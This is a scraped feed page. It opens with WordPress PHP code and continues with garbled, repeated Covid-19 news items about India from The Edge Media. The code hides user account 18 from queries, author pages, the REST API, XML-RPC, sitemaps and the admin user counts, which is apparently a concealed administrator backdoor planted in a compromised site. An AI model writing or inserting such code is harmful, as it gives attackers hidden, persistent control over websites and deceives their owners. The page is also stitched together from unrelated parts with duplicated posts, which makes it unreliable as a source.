add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Lockdown will be back if Covid cases rise, says Maharashtra CM Uddhav Thackeray appeared first on The Edge Media.
]]>He urged people to sign the commitment to rid the state and country of Covid-19. Thackeray also warned that if the state’s daily cases increased, there would be no choice but to enforce a lockdown. Thackeray was addressing at Mantralaya at the flag-hoisting ritual commemorating Independence Day.
In the context of Covid-19, Thackeray stated that the state has been experiencing pre-independence conditions for the past one and a half years as a result of Covid.
The post Lockdown will be back if Covid cases rise, says Maharashtra CM Uddhav Thackeray appeared first on The Edge Media.
]]>The post Corona update: 1.86 lakh cases in the last 24 hours, 63% of them from 5 states appeared first on The Edge Media.
]]>The second wave of the pandemic seems to be receding as 24 states have reported a decline in active cases since last week. Testing is at an all-time high and more than 20 lakh tests are being conducted daily with the number increasing everyday.
Over 29 lakh vaccines were administered in the last 24 hours, according to the health ministry.
Strict government restrictions and social distancing measures have led to the daily positivity rate coming down to 9%.
The post Corona update: 1.86 lakh cases in the last 24 hours, 63% of them from 5 states appeared first on The Edge Media.
]]>The post India’s Covid situation hugely concerning, says WHO chief Tedros Adhanom Ghebreyesus appeared first on The Edge Media.
]]>“India remains hugely concerning, with several states continuing to see a worrying number of cases, hospitalisation and deaths,” he said at the daily media briefing.
“And we thank all the stakeholders who are supporting India,” the WHO Director-General said.
Coronavirus: Live update
India is in the midst of a deadly wave of the coronavirus pandemic, with 3,43,144 people testing positive for the virus on Friday, taking the country’s casehold to 2,40,46,809. The death toll stands at 2,62,317.
The post India’s Covid situation hugely concerning, says WHO chief Tedros Adhanom Ghebreyesus appeared first on The Edge Media.
]]>The post Covid-19: Gujarat records less than 10,000 daily cases 1st time in 27 days appeared first on The Edge Media.
]]>While it may be too early to cheer, state officials said it was definitely a reason to get releived as the figures suggest that the state may have tided over the peak of the second wave after all.
The analysis of Covid cases however presented a contrasting picture for the cities and rest of Gujarat – the eight municipal corporation areas in the past 10 days recorded 61,346 positive cases, which were 31.5% down from 89,543 cases recorded in its previous 10 days (April 25-May 4). During the same period, the rest of Gujarat reported a rise of 8.8% in cases – from 49,192 to 53,530 cases.
For Ahmedabad city, it was 29 day lowest daily tally at 2,764, whereas for Surat, it was 37- day lowest.
The post Covid-19: Gujarat records less than 10,000 daily cases 1st time in 27 days appeared first on The Edge Media.
]]>The post Covid-19: Gujarat records less than 10,000 daily cases 1st time in 27 days appeared first on The Edge Media.
]]>While it may be too early to cheer, state officials said it was definitely a reason to get relieved as the figures suggest that the state may have tided over the peak of the second wave after all.
The analysis of Covid cases however presented a contrasting picture for the cities and rest of Gujarat – the eight municipal corporation areas in the past 10 days recorded 61,346 positive cases, which were 31.5% down from 89,543 cases recorded in its previous 10 days (April 25-May 4). During the same period, the rest of Gujarat reported a rise of 8.8% in cases – from 49,192 to 53,530 cases.
For Ahmedabad city, it was 29-day lowest daily tally at 2,764, whereas for Surat, it was 37-day lowest.
Mortality however has remained constant for the cities and state at large in the past 10 days.
At 1.17 lakh active cases, it was an 18-day low for the state. Dr Kirit Gadhvi, president of Ahmedabad Medical Association (AMA), said that there is definite dip in the calls the citybased doctors are receiving for the beds, oxygen and medicines. “But there’s still scarcity of the ICU and ventilator beds across the city. It is time to build on the resources. We cannot afford any laxity,” he said.
Dr Bharat Gadhvi, president of Ahmedabad Hospitals and Nursing Homes Association (AHNA), said that the association has written to the Gujarat CM not to extend any relaxations in the current restrictions. “With great efforts we have come out of one of the worst phases of the pandemic. It would sound like the death knell of the healthcare system if the state is again faced with the same burden of daily cases,” he said.
Dr Dhiren Mehta, a citybased physician, said that the daily OPDs at various clinics for the fever and other Covid-19 symptoms have gone down. “However, every fever case should be investigated and treated. We must not let our guards down. Identifying cases quickly and isolating them has remained a sure-shot method to prevent the spread,” he said.
The post Covid-19: Gujarat records less than 10,000 daily cases 1st time in 27 days appeared first on The Edge Media.
]]>The post Madras HC’s scrambled election for Corona’s second wave appeared first on The Edge Media.
]]>The High Court has held the Election Commission responsible for the second wave of Corona, because the Election Commission did not stop the election rallies even after the Corona crisis.
Madras High Court Chief Justice S. Banerjee said during the hearing that the Election Commission is responsible for the second wave of Corona. The court said that if the murder charge is imposed on the Election Commission officials, it will not be wrong.
In court, when the Election Commission responded that the covid guidelines were followed on their behalf, the rules were followed on voting day.
The court was angry at this and asked if the Election Commission was on the second plane when the campaign was going on.
The court gave a stringent warning The court has also warned that if the guidelines related to covid are not followed on May 2 and its blueprint is not prepared, then it will ban the counting of votes.
The court said during the hearing that the issue of health is very important, but the matter of concern is that the court has to remind it. This time the situation has become such that one has to struggle to stay alive.
The High Court has now directed the Election Commission that it should make a plan with the Health Secretary and prepare for the counting day. The High Court has asked to make a plan by April 30.
Corona’s havoc escalated between elections, let us tell you that elections have been held in five states of the country during the Corona period itself.
Elections have ended in four states, while voting is still going on in Bengal. After the end of voting in the electoral states, many restrictions have been imposed due to the increase in the corona cases.
If we talk about the whole country, then every day around three and a half lakh cases are coming in the country.
Whereas the situation has now become uncontrollable. From Delhi to major cities like Bangalore, Mumbai, Lucknow and Kolkata, there is a shortage of beds, lack of oxygen and the condition of patients is poor.
The post Madras HC’s scrambled election for Corona’s second wave appeared first on The Edge Media.
]]>The post Corona’s active cases exceed 20 lakhs in India appeared first on The Edge Media.
]]>According to the data released by the Union Health Ministry, during the last 24 hours. 1761 people have died due to Corona virus across the country. Till now, this deadly virus has caused 180530 deaths across the country.
Testing is being continuously done to identify corona patients in the country. More than 1.5 million tests are being done in the country every day. Although new cases of corona are also increasing in the country with increasing testing.
During the last 24 hours, more than 2.59 lakh new cases of corona virus have been reported across the country. More than 2 lakh cases have been reported daily in the country for 6 consecutive days.
Due to continuous increase in new cases of Corona, its active cases have also reached record levels in the country. According to the Ministry of Health, the number of active cases of corona in the country has crossed 20.31 lakhs till Tuesday morning.
Never before in the country had Corona’s active cases reached this level. The most active cases are in Maharashtra, Karnataka, Chhattisgarh, Uttar Pradesh and Delhi.
Vaccination for the fight against corona in the country is also being continuously increased, during the last 24 hours, more than 32.76 lakh people have been vaccinated with the Corona vaccine across the country.
Till date 12.71 crore people have been vaccinated across the country. Vaccination has been highest in Maharashtra, Rajasthan, Gujarat and Uttar Pradesh.
The post Corona’s active cases exceed 20 lakhs in India appeared first on The Edge Media.
]]>The post IIM Ahmedabad reported 45 cases of infection in the last two weeks appeared first on The Edge Media.
]]>The post IIM Ahmedabad reported 45 cases of infection in the last two weeks appeared first on The Edge Media.
]]>The post More than 12,000 Corona cases in these three cities of the country, growing concerns appeared first on The Edge Media.
]]>The post More than 12,000 Corona cases in these three cities of the country, growing concerns appeared first on The Edge Media.
]]>The post Corona started returning to many states of the country! Bad condition in Maharashtra, school closed again in Punjab appeared first on The Edge Media.
]]>New cases are also increasing in the capital Delhi. At the same time, a decision has been taken to close schools in Punjab once again.In Maharashtra, corona infection seems to be uncontrollable. Due to increasing cases of corona, lockdowns have been imposed once again in Aurangabad, Nagpur, Parbhani and Pune. During the last 24 hours in Maharashtra, more than 15 thousand new cases have been found.
Corona cases are also increasing in Punjab. In view of the increasing cases, a decision has been taken to close the schools once again in the state. This order will be effective from 13 March. During this period, all government and private schools up to class 12 will be closed. On the other hand, night curfew has been imposed in eight districts including Ludhiana, Patiala, Mohali and Fatehgarh Sahib. This curfew will remain in force from 11 am to five in the morning. Corona cases have started increasing in the capital Delhi. There have been 431 new cases in the last 24 hours.
The post Corona started returning to many states of the country! Bad condition in Maharashtra, school closed again in Punjab appeared first on The Edge Media.
]]>